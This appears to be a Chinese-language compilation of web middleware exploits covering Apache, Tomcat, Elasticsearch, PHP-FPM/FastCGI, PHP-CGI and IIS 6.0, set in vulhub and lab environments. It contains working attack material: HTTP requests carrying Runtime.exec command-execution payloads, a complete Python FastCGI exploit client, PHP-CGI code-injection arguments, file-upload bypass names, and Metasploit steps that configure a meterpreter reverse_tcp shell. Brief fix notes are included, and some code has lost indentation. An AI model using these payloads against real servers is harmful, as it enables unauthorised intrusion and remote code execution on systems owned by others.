中间件漏洞合集

Posted T00ls

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了中间件漏洞合集相关的知识，希望对你有一定的参考价值。


Apache

Apache HTTPD 换行解析漏洞

漏洞编号CVE-2017-15715

Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞，在解析PHP时，1.phpx0A将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。

原理：在解析PHP时，1.phpx0A将被按照PHP后缀进行解析。

环境搭建

利用vulhub搭建

进入vulhub相应的文件夹

中间件漏洞合集


docker-compose build
docker-compose up -d

利用方法 比如目标存在一个上传的逻辑

<?php
if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
        exit('bad file');
    }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}

可见，这里用到了黑名单，如果发现后缀在黑名单中，则进行拦截。

将上述代码放置在容器内的/var/www/html目录下，设置好写权限，即可进行测试。

上传正常的PHP文件，被拦截

POST / HTTP/1.1
Host: 10.10.10.131:8080
Connection: keep-alive
Content-Length: 357
Cache-Control: max-age=0
Origin: [url]http://10.10.10.131:8080[/url]
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6TAB8KxvuJTZYfUn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://localhost:8080/day1701/form2.jsp
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=725FA8D1C3EBECCFE80A28CF8A761E20


------WebKitFormBoundary6TAB8KxvuJTZYfUn
Content-Disposition: form-data; name="name"

1.php
------WebKitFormBoundary6TAB8KxvuJTZYfUn
Content-Disposition: form-data; name="file"; filename="1.gif"

<?php phpinfo();?>
------WebKitFormBoundary6TAB8KxvuJTZYfUn--


中间件漏洞合集


可以上传1.php.xxx，但是不解析，说明老的Apache解析漏洞不存在。

中间件漏洞合集


来到服务器看一下

中间件漏洞合集


老的解析漏洞不存在

中间件漏洞合集


我们利用CVE-2017-15715，上传一个包含换行符的文件。注意，只能是x0A，不能是x0Dx0A，所以我们用hex功能在1.php后面添加一个x0A：

中间件漏洞合集


中间件漏洞合集


中间件漏洞合集


中间件漏洞合集


上传成功

中间件漏洞合集


接下来我们访问 [url]http://10.10.10.131:8080/1.php%0A[/url] ，成功解析

中间件漏洞合集


修复方法

更新版本，打补丁。

备注

获取文件名时不能用$_FILES['file']['name']，因为他会自动把换行去掉，这一点有点鸡肋 默认的Apache配置即可利用，因为默认Apache配置就使用了<FileMatch>：

<FilesMatch .php$>
    SetHandler application/x-httpd-php
</FilesMatch>

Apache文件解析漏洞

这是由于在配置服务器期间，配置人员为了调试方便，当时做的一些有安全隐患的配置在调试后没有及时更改，造成了文件解析漏洞。

原理

Apache配置错误，php_module解析文件时不使用正则匹配，遇到.php的文件就解析。

环境搭建

方法一：

拉取镜像命令：

docker pull registry.cn-hangzhou.aliyuncs.com/360college/360college:apachephp


中间件漏洞合集


docker pull registry.cn-hangzhou.aliyuncs.com/360college/360college:nginxphp


中间件漏洞合集


方法二：

docker pull ubuntu

docker run -it -p 90:80 -d ubuntu /bin/bash（关联端口）

docker exec -it 263ff846f0dd /bin/bash （进入容器）

apache2+php7环境搭建语句

apt-get install apache2（安装apache2）
apt-get insrall php7.2（安装php7）
apt-get install libapache2-mod-php7.2（将php与apache关联）
/etc/init.d/apahce2 start或service apache2 start（启动apache2服务）
service apache2 status（查看apache服务状态）

开启容器

启动apache服务，由于设置了php与apache关联，所以php服务也一并开启了。

中间件漏洞合集


中间件漏洞合集


中间件漏洞合集


利用方法

分析apache文件解析漏洞，在web目录下写入1.php.aaa文件，内容为phpinfo（）；，查看服务器是否能解析该文件。

中间件漏洞合集


无法解析

中间件漏洞合集

原因 缺少配置文件，使php_module解析文件时不使用正则匹配，遇到.php的文件就解析。在/etc/apache2/sites-enabled目录下编写123.conf文件，内容为AddHandler application/x-httpd-php .php，配置好后重启apache服务。

中间件漏洞合集


再次通过浏览器访问1.php.aaa，发现解析成功。

中间件漏洞合集


修复方法

修复方法删除123.conf，并重启apache服务。

中间件漏洞合集


无法解析

中间件漏洞合集

本质上就是修改了Apache的配置文件，让Apache解析文件时使用正则匹配，不至于遇到.php的文件就进行解析。

Tomcat

CVE-2017-12615

在 Windows 服务器下，将 readonly 参数设置为 false 时，即可通过 PUT 方式创建一个 JSP 文件，并可以执行任意代码。Tomcat 7.x版本内web.xml配置文件内无readonly，需要手工添加，默认配置不受此影响。

影响版本

CVE-2017-12616影响范围：Apache Tomcat 7.0.0 - 7.0.80 CVE-2017-12615影响范围：Apache Tomcat 7.0.0 - 7.0.79 (Windows环境下)

漏洞成因

在 Windows 服务器下，将 readonly 参数设置为 false 时，即可通过 PUT 方式创建一个 JSP 文件，并可以执行任意代码。

阅读conf/web.xml文件，查看配置

中间件漏洞合集


默认readonly为true，当readonly设置为false的时候，可以通过PUT/DELETE来对文件进行操控。

环境搭建 在Windows10上搭建Tomcat

下载tomcat压缩包，并将解压到合适的位置

配置环境变量

配置jdk的环境变量（略）

在系统变量里新建变量名：CATALINA_BASE，变量值(如)：E:SoftwareApache Software Foundationapache-tomcat-7.0.79

在系统变量里新建变量名：CATALINA_HOME，变量值(如)：E:SoftwareApache Software Foundationapache-tomcat-7.0.79

在系统变量里打开PATH，添加变量值：%CATALINA_HOME%lib;%CATALINA_HOME%in

打开cmd，进入tomcat下的bin目录E:SoftwareApache Software Foundationapache-tomcat-7.0.79in，执行“service.bat install”

附：service卸载命令：service.bat remove

启动tomcat

方法一：tomcat路径下的bin文件夹内双击打开tomcat9w.exe，在打开的软管理软件内点击“start”

方法二：右键点击桌面上的“我的电脑”->“管理”->“服务和应用程序”->“服务”，找到“ApacheTomcat 7.0 Tomcat7”服务，右键点击该服务，选择“启动”。

访问10.10.10.132:8080 搭建成功

中间件漏洞合集


更改tomcat的配置文件web.xml,添加readonly为false

中间件漏洞合集


Linux上搭建实验环境

进入vulhub-master/tomcat/CVE-2017-12615文件夹

中间件漏洞合集


docker-compose build
docker-compose up -d

完成后访问your_ip:8080，搭建成功。

中间件漏洞合集


利用方法

Windows环境

抓取数据包，上传文件


中间件漏洞合集


上传失败，提示404.

通过描述中的Windows受影响，可以结合Windows的特性。其一是NTFS文件流，其二是文件名的相关限制，（如Windows中文件名不能以空格结尾）来绕过限制，因为Windows不允许“ ”作为结尾，所以会创建一个.jsp文件，导致代码执行。

1.jsp%20


中间件漏洞合集


访问[url]http://10.10.10.132:8080/1.jsp[/url]，代码被执行。

中间件漏洞合集


中间件漏洞合集


中间件漏洞合集


evil.jsp::$DATA也可以上传成功

中间件漏洞合集


中间件漏洞合集

Linux环境

Linux环境下只有evil.jsp/可以上传成功，evil.jsp%20和evil.jsp::$DATA上传的文件会分别生成evil.jsp和evil.jsp::$DATA文件，这样来说的话，Linux下可以允许“ ”空格作为文件尾结束。

中间件漏洞合集


evil.jsp/ 上传成功并可以解析

中间件漏洞合集


中间件漏洞合集


修复方法

方法一：

升级版本

方法二：

将readonly设置为true或者删除readonly配置

中间件漏洞合集


尝试再次上传，返回403，无法上传

中间件漏洞合集


中间件漏洞合集


Elasticsearch

ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful web接口。Elasticsearch是用Java开发的，并作为Apache许可条款下的开放源码发布，是当前流行的企业级搜索引擎。

环境配置

启动docker

docker-compose up -d

CVE-2014-3120

访问目标的9200，会出现Elasticsearch的信息：

中间件漏洞合集


利用该漏洞要求Elasticsearch中有数据，所以先创建一条数据，采用Burp发送数据包：

POST /website/blog/  HTTP/1.1
Host: 101.198.180.194:9200
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 27

{
 "name": "colleget"
}

返回201状态码，代表创建成功：

中间件漏洞合集


利用该漏洞的Payload如下：

POST /_search?pretty HTTP/1.1
Host: 10.10.10.131:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 368

{
 "size": 1,
 "query": {
 "filtered": {
 "query": {
 "match_all": {
 }
 }
 }
 },
 "script_fields": {
 "command": {
 "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();"
 }
 }
}
 }
}
其中JAVA等价于：

String s1 = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).useDelimiter("\A").next();
//A means "start of string", and z means "end of string".
String s2 = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).next();
System.out.println(s1);


中间件漏洞合集


CVE-2015-1427

访问目标的9200，会出现Elasticsearch的信息：

中间件漏洞合集


新版本中Elasticsearch将默认的脚步语言换成了Groovy，增加了沙盒机制过滤用户输入，但还是具有执行漏洞的方法：

绕过沙盒

Groovy代码执行

payload在操作机桌面上FilesElasticsearch文件夹中

利用JAVA反射机制绕过沙盒

首先向9200端口插入一条数据：

POST /website/blog/ HTTP/1.1
Host: 10.10.10.131:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
 "name": "test"
}

中间件漏洞合集



利用反射机制执行JAVA代码Payload：

POST /_search?pretty HTTP/1.1
Host: 10.10.10.131:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 489

{
    "size":1,
    "script_fields": {
        "test#": {
            "script":
                "java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getInputStream())).readLines()",

            "lang": "groovy"
        }
    }

}

执行结果

中间件漏洞合集


利用Groovy语言执行命令

Payload:

POST /_search?pretty HTTP/1.1
Host: 10.10.10.131:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()"}}}

执行结果：

中间件漏洞合集


CVE-2015-3337

目录穿越漏洞：ElasticSearch安装site插件后，通过../可以向上层目录跳转，导致任意文件读取。

中间件漏洞合集


中间件漏洞合集


CVE-2015-5531

1.5.1及以前，无需任何配置即可触发该漏洞。之后的新版，配置文件elasticsearch.yml中必须存在path.repo，该配置值为一个目录，且该目录必须可写，等于限制了备份仓库的根位置。不配置该值，默认不启动这个功能。

访问IP:9200

中间件漏洞合集


新建一个仓库：

PUT /_snapshot/test HTTP/1.1
Host: 10.10.10.131:9200
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 110

{
 "type": "fs",
 "settings": {
 "location": "/usr/share/elasticsearch/repo/test"
 }
}


中间件漏洞合集


创建一个快照：

PUT /_snapshot/tes2t HTTP/1.1
Host: 10.10.10.131:9200
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 128

{
 "type": "fs",
 "settings": {
 "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
 }
}


中间件漏洞合集


中间件漏洞合集


观察返回结果为ASCII编码：

可以用工具进行转换，或者直接使用Chrome-右键-检查-Console:

输入String.fromCharCode(ASCII码)，执行结果如下：

中间件漏洞合集


Fastcgi未授权访问及任意命令执行

Fastcgi

Fastcgi是一个通信协议，只不过它是存在于服务器中间件和某个语言的后端之间进行数据交换的协议。Fastcgi协议是由多个recode组成，recode也有header和body，服务器中间件将接收到的数据按照Fastcgi协议以header、body的形式封装后发到语言后端，语言后端拿到数据，进行指定的操作，并且将结果按照该协议封装好发送给服务器中间件。

原理

由于服务器使用了Fastcgi协议并且将9000端口对外网开放了，那么就可以利用该协议未授权访问了。

环境搭建

利用vulhub搭建

中间件漏洞合集


payload

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: [url]https://github.com/wuyunfeng/Python-FastCGI-Client[/url]

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes(<i>)

def bord(c):
 if isinstance(c, int):
 return c
 else:
 return ord(c)

def force_bytes(s):
 if isinstance(s, bytes):
 return s
 else:
 return s.encode('utf-8', 'strict')

def force_text(s):
 if issubclass(type(s), str):
 return s
 if isinstance(s, bytes):
 s = str(s, 'utf-8', 'strict')
 else:
 s = str(s)
 return s


class FastCGIClient:
 """A Fast-CGI Client for Python"""

 # private
 __FCGI_VERSION = 1

 __FCGI_ROLE_RESPONDER = 1
 __FCGI_ROLE_AUTHORIZER = 2
 __FCGI_ROLE_FILTER = 3

 __FCGI_TYPE_BEGIN = 1
 __FCGI_TYPE_ABORT = 2
 __FCGI_TYPE_END = 3
 __FCGI_TYPE_PARAMS = 4
 __FCGI_TYPE_STDIN = 5
 __FCGI_TYPE_STDOUT = 6
 __FCGI_TYPE_STDERR = 7
 __FCGI_TYPE_DATA = 8
 __FCGI_TYPE_GETVALUES = 9
 __FCGI_TYPE_GETVALUES_RESULT = 10
 __FCGI_TYPE_UNKOWNTYPE = 11

 __FCGI_HEADER_SIZE = 8

 # request state
 FCGI_STATE_SEND = 1
 FCGI_STATE_ERROR = 2
 FCGI_STATE_SUCCESS = 3

 def __init__(self, host, port, timeout, keepalive):
 self.host = host
 self.port = port
 self.timeout = timeout
 if keepalive:
 self.keepalive = 1
 else:
 self.keepalive = 0
 self.sock = None
 self.requests = dict()

 def __connect(self):
 self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 self.sock.settimeout(self.timeout)
 self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 # if self.keepalive:
 # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
 # else:
 # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
 try:
 self.sock.connect((self.host, int(self.port)))
 except socket.error as msg:
 self.sock.close()
 self.sock = None
 print(repr(msg))
 return False
 return True

 def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
 length = len(content)
 buf = bchr(FastCGIClient.__FCGI_VERSION) 
 + bchr(fcgi_type) 
 + bchr((requestid >> 8) & 0xFF) 
 + bchr(requestid & 0xFF) 
 + bchr((length >> 8) & 0xFF) 
 + bchr(length & 0xFF) 
 + bchr(0) 
 + bchr(0) 
 + content
 return buf

 def __encodeNameValueParams(self, name, value):
 nLen = len(name)
 vLen = len(value)
 record = b''
 if nLen < 128:
 record += bchr(nLen)
 else:
 record += bchr((nLen >> 24) | 0x80) 
 + bchr((nLen >> 16) & 0xFF) 
 + bchr((nLen >> 8) & 0xFF) 
 + bchr(nLen & 0xFF)
 if vLen < 128:
 record += bchr(vLen)
 else:
 record += bchr((vLen >> 24) | 0x80) 
 + bchr((vLen >> 16) & 0xFF) 
 + bchr((vLen >> 8) & 0xFF) 
 + bchr(vLen & 0xFF)
 return record + name + value

 def __decodeFastCGIHeader(self, stream):
 header = dict()
 header['version'] = bord(stream[0])
 header['type'] = bord(stream[1])
 header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
 header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
 header['paddingLength'] = bord(stream[6])
 header['reserved'] = bord(stream[7])
 return header

 def __decodeFastCGIRecord(self, buffer):
 header = buffer.read(int(self.__FCGI_HEADER_SIZE))

 if not header:
 return False
 else:
 record = self.__decodeFastCGIHeader(header)
 record['content'] = b''

 if 'contentLength' in record.keys():
 contentLength = int(record['contentLength'])
 record['content'] += buffer.read(contentLength)
 if 'paddingLength' in record.keys():
 skiped = buffer.read(int(record['paddingLength']))
 return record

 def request(self, nameValuePairs={}, post=''):
 if not self.__connect():
 print('connect failure! please check your fasctcgi-server !!')
 return

 requestId = random.randint(1, (1 << 16) - 1)
 self.requests[requestId] = dict()
 request = b""
 beginFCGIRecordContent = bchr(0) 
 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) 
 + bchr(self.keepalive) 
 + bchr(0) * 5
 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
 beginFCGIRecordContent, requestId)
 paramsRecord = b''
 if nameValuePairs:
 for (name, value) in nameValuePairs.items():
 name = force_bytes(name)
 value = force_bytes(value)
 paramsRecord += self.__encodeNameValueParams(name, value)

 if paramsRecord:
 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

 if post:
 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

 self.sock.send(request)
 self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
 self.requests[requestId]['response'] = b''
 return self.__waitForResponse(requestId)

 def __waitForResponse(self, requestId):
 data = b''
 while True:
 buf = self.sock.recv(512)
 if not len(buf):
 break
 data += buf

 data = BytesIO(data)
 while True:
 response = self.__decodeFastCGIRecord(data)
 if not response:
 break
 if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT 
 or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
 if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
 self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
 if requestId == int(response['requestId']):
 self.requests[requestId]['response'] += response['content']
 if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
 self.requests[requestId]
 return self.requests[requestId]['response']

 def __repr__(self):
 return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
 parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
 parser.add_argument('host', help='Target host, such as 127.0.0.1')
 parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
 parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
 parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

 args = parser.parse_args()

 client = FastCGIClient(args.host, args.port, 3, 0)
 params = dict()
 documentRoot = "/"
 uri = args.file
 content = args.code
 params = {
 'GATEWAY_INTERFACE': 'FastCGI/1.0',
 'REQUEST_METHOD': 'POST',
 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
 'SCRIPT_NAME': uri,
 'QUERY_STRING': '',
 'REQUEST_URI': uri,
 'DOCUMENT_ROOT': documentRoot,
 'SERVER_SOFTWARE': 'php/fcgiclient',
 'REMOTE_ADDR': '127.0.0.1',
 'REMOTE_PORT': '9985',
 'SERVER_ADDR': '127.0.0.1',
 'SERVER_PORT': '80',
 'SERVER_NAME': "localhost",
 'SERVER_PROTOCOL': 'HTTP/1.1',
 'CONTENT_TYPE': 'application/text',
 'CONTENT_LENGTH': "%d" % len(content),
 'PHP_VALUE': 'auto_prepend_file = php://input',
 'PHP_ADMIN_VALUE': 'allow_url_include = On'
 }
 response = client.request(params, content)
 print(force_text(response))

利用方法

使用命令访问一个非.php的文件

python fpm.py 10.10.10.131 /etc/passwd

无法访问，访问被拒绝

中间件漏洞合集


使用命令执行一个默认存在的php文件

python fpm.py 10.10.10.131 /usr/local/lib/php/PEAR.php

中间件漏洞合集


访问成功，由此可见，只能对.php文件进行非授权访问。

还可以任意命令执行

python fpm.py 10.10.10.131 /usr/local/lib/php/PEAR.php -c '<?php echo `pwd`; ?>'

中间件漏洞合集


修复方法

禁止9000端口对外开放

PHPCGI

PHPCGI远程代码执行

CGI和FastCGI的区别

CGI：用户每发送一个请求，CGI都会创建一个子进程执行请求，将执行结果返回给用户，然后结束子进程。不能同时接受大量请求；

FastCGI：将进程一直在后台运行，接收数据包，执行后返回结果，自身不退出。

漏洞成因

if(!cgi) getopt(...) 被删掉了。

if(!cgi) getopt(...) 限制Web请求中不允许传入参数。

CVE代号

CVE-2012-1823

CVE-2012-2311

当CVE-2012-1823爆出来后官方进行了修补，但是新的版本5.4.2和5.3.12，但是修复不完全，可以使用空白符加-的方式进行绕过，衍生出CVE-2012-2311

环境搭建

中间件漏洞合集


中间件漏洞合集


访问 [url]http://10.10.10.131:8080/[/url]

中间件漏洞合集


利用方法

最简单方式 -s 显示页面源码

中间件漏洞合集


利用-d指定auto_prepend_file来制造任意文件包含漏洞

-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
<?php echo shell_exec("ls");?>

开启文件包含并且可以POST传参

抓包

中间件漏洞合集


修改为POST传参方式，修改请求头请求体，代码执行成功

中间件漏洞合集


修复方法

先跳过所有的空白字符，再判断第一个字符是不是 -

备注

-c 指定php.ini文件的位置

-n 不要加载php.ini文件

-d 指定配置项

-b 启动fastcgi进程

-s 显示文件源码

-T 执行指定次该文件

-h和-? 显示帮助

IIS

IIS6.0文件解析漏洞

漏洞介绍

IIS 6.0在处理含有特殊符号的文件路径时会出现逻辑错误，从而造成文件解析漏洞。

两种不同的利用方式：

/test.asp/test.jpg

test.asp;.jpg

漏洞影响版本

IIS 6.0

原理

当WEB目录下，文件名以 xxx.asp;xxx.xxx 来进行命名的时候，此文件将送交asp.dll解析(也就是执行脚本)

当WEB目录下，在访问以 xxx.asp 命名的目录下的任意文件时，此文件将送交asp.dll解析(也就是执行脚本)

IIS6.0核心处理代码

//reverse code by golds7n with ida
int __thiscall Url(void *this, char *UrlStruct)
{
  void *pW3_URL_INFO; // esi@1
  int bSuccess; // eax@1
  const wchar_t *i; // eax@2
  wchar_t *wcsSlashTemp; // ebx@6
  int wcsTemp; // eax@6
  int wcs_Exten; // eax@6
  int v8; // esi@9
  int v10; // eax@11
  int v11; // ST04_4@13
  int v12; // eax@13
  int ExtenDll; // eax@19
  int Extenisa; // eax@20
  int ExtenExe; // eax@21
  int ExtenCgi; // eax@22
  int ExtenCom; // eax@23
  int ExtenMap; // eax@24
  int Entry; // [sp+Ch] [bp-148h]@6
  wchar_t *wcsMaohaoTemp; // [sp+10h] [bp-144h]@6
  unsigned int dotCount; // [sp+14h] [bp-140h]@1
  wchar_t *Str; // [sp+18h] [bp-13Ch]@3
  char *url_FileName; // [sp+1Ch] [bp-138h]@1
  char Url_FileExtenName; // [sp+20h] [bp-134h]@1
  char v25; // [sp+50h] [bp-104h]@1

 dotCount = 0;
  pW3_URL_INFO = this;
  STRU::STRU(&Url_FileExtenName, &v25, 0x100u);
  url_FileName = (char *)pW3_URL_INFO + 228;
  bSuccess = STRU::Copy((char *)pW3_URL_INFO + 228, UrlStruct);
  if ( bSuccess < 0 )
    goto SubEnd;
  for ( i = (const wchar_t *)STRU::QueryStr((char *)pW3_URL_INFO + 228); ; i = Str + 1 )
  {
    Str = _wcschr(i, '.');   ***********N1************
    if ( !Str )
      break;
    ++dotCount;
    if ( dotCount > W3_URL_INFO::sm_cMaxDots )
      break;
    bSuccess = STRU::Copy(&Url_FileExtenName, Str);
    if ( bSuccess < 0 )
      goto SubEnd;
    wcsSlashTemp = _wcschr(Str, '/'); ***********N2************
    JUMPOUT(wcsSlashTemp, 0, loc_5A63FD37);
    wcsTemp = STRU::QueryStr(&Url_FileExtenName);
    wcsMaohaoTemp = _wcschr((const wchar_t *)wcsTemp, ':');  ***********N3************
    JUMPOUT(wcsMaohaoTemp, 0, loc_5A63FD51);
    wcs_Exten = STRU::QueryStr(&Url_FileExtenName);
    __wcslwr((wchar_t *)wcs_Exten);
    if ( META_SCRIPT_MAP::FindEntry(&Url_FileExtenName, &Entry) )
    {
      *((_DWORD *)pW3_URL_INFO + 201) = Entry;
      JUMPOUT(wcsSlashTemp, 0, loc_5A63FDAD);
      STRU::Reset((char *)pW3_URL_INFO + 404);
      break;
    }
    if ( STRU::QueryCCH(&Url_FileExtenName) == 4 )
    {
      ExtenDll = STRU::QueryStr(&Url_FileExtenName);
      if ( !_wcscmp(L".dll", (const wchar_t *)ExtenDll)
        || (Extenisa = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L".isa", (const wchar_t *)Extenisa)) )
        JUMPOUT(loc_5A63FD89);
      ExtenExe = STRU::QueryStr(&Url_FileExtenName);
      if ( !_wcscmp(L".exe", (const wchar_t *)ExtenExe)
        || (ExtenCgi = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L".cgi", (const wchar_t *)ExtenCgi))
        || (ExtenCom = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L".com", (const wchar_t *)ExtenCom)) )
        JUMPOUT(loc_5A63FD89);
      ExtenMap = STRU::QueryStr(&Url_FileExtenName);
      JUMPOUT(_wcscmp(L".map", (const wchar_t *)ExtenMap), 0, loc_5A63FD7B);
    }
  }
  if ( *((_DWORD *)pW3_URL_INFO + 201)
    || (v10 = *((_DWORD *)pW3_URL_INFO + 202), v10 == 3)
    || v10 == 2
    || (v11 = *(_DWORD *)(*((_DWORD *)pW3_URL_INFO + 204) + 0xC4C),
        v12 = STRU::QueryStr(url_FileName),
        bSuccess = SelectMimeMappingForFileExt(v12, v11, (char *)pW3_URL_INFO + 756, (char *)pW3_URL_INFO + 1012),
        bSuccess >= 0) )
    v8 = 0;
  else
SubEnd:
    v8 = bSuccess;
  STRU::_STRU(&Url_FileExtenName);
  return v8;
}

上述代码中，作星号标记的是N1,N2,N3，分别检测点号,反斜杠和分号。

大概流程为:

请求 /aaa.asp;xxxx.jpg

N1:从头部查找查找 "."号,获得 .asp;xxxx.jpg

N2:查找";"号,如果有则内存截断

N3:查找"/",如果有则内存截断


中间件漏洞合集


最终,将保留下来 .asp 字符串,从META_SCRIPT_MAP脚本映射表里与扩展名匹配对比,并反馈给了asp.dll处理

利用方法

新建一个名为“test.asp”的目录，该目录中的任何文件都被IIS当做asp程序执行（特殊符号是“/”）；

访问[img]http://10.10.10.136/test.asp/1.jpg[/img] 1.jpg文件被当做.asp文件解析。

中间件漏洞合集


上传名为“test.asp;.jpg”的文件，虽然该文件真正的后缀名是“.jpg”，但由于含有特殊符号“;”，仍会被IIS当做asp程序执行。

中间件漏洞合集


假设我们上传的文件为test.asp;.jpg，访问[url]http://10.10.10.136/test.asp[/url];.jpg，文件被解析。

中间件漏洞合集


修复方法  升级版本！

IIS命令执行漏洞

编号 CVE-2017-7269

CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞，在IIS6.0处理PROPFIND指令的时候，由于对url的长度没有进行有效的长度控制和检查，导致执行memcpy对虚拟路径进行构造的时候，引发栈溢出，该漏洞可以导致远程代码执行。

环境及版本

Windows server 2003 r2

IIS 6.0

原理

CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞，在IIS6.0处理PROPFIND指令的时候，由于对url的长度没有进行有效的长度控制和检查，导致执行memcpy对虚拟路径进行构造的时候，引发栈溢出，该漏洞可以导致远程代码执行。

危害

Getshell，数据

利用方法

启动win server2003环境，开启IIS服务及WebDAV服务

中间件漏洞合集


下载exp [url]https://github.com/edwardz246003/IIS_exploit[/url]，使用python执行exploit.py。

下载exp [url]https://github.com/zcgonvh/cve-2017-7269[/url]，把exp复制到kali的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下，测试kali与iis环境联通性。

启动metasploit ：msfconsole

中间件漏洞合集


查找漏洞编号：search 7269

中间件漏洞合集


进入漏洞模块：use exploit/windows/iis/cve-2017-7269

中间件漏洞合集


使用命令show options查看需要填写哪些参数

中间件漏洞合集


设置靶机IP：set rhost 10.10.10.136

中间件漏洞合集


设置靶机web站点：set httphost 10.10.10.136

中间件漏洞合集


设置返回载荷：set payload windows/meterpreter/reverse_tcp，返回监听端口默认为4444，未与其他端口冲突，所以不用设置。

中间件漏洞合集


设置攻击IP：set lhost 10.10.10.128

中间件漏洞合集


开始利用漏洞：exploit/run

中间件漏洞合集


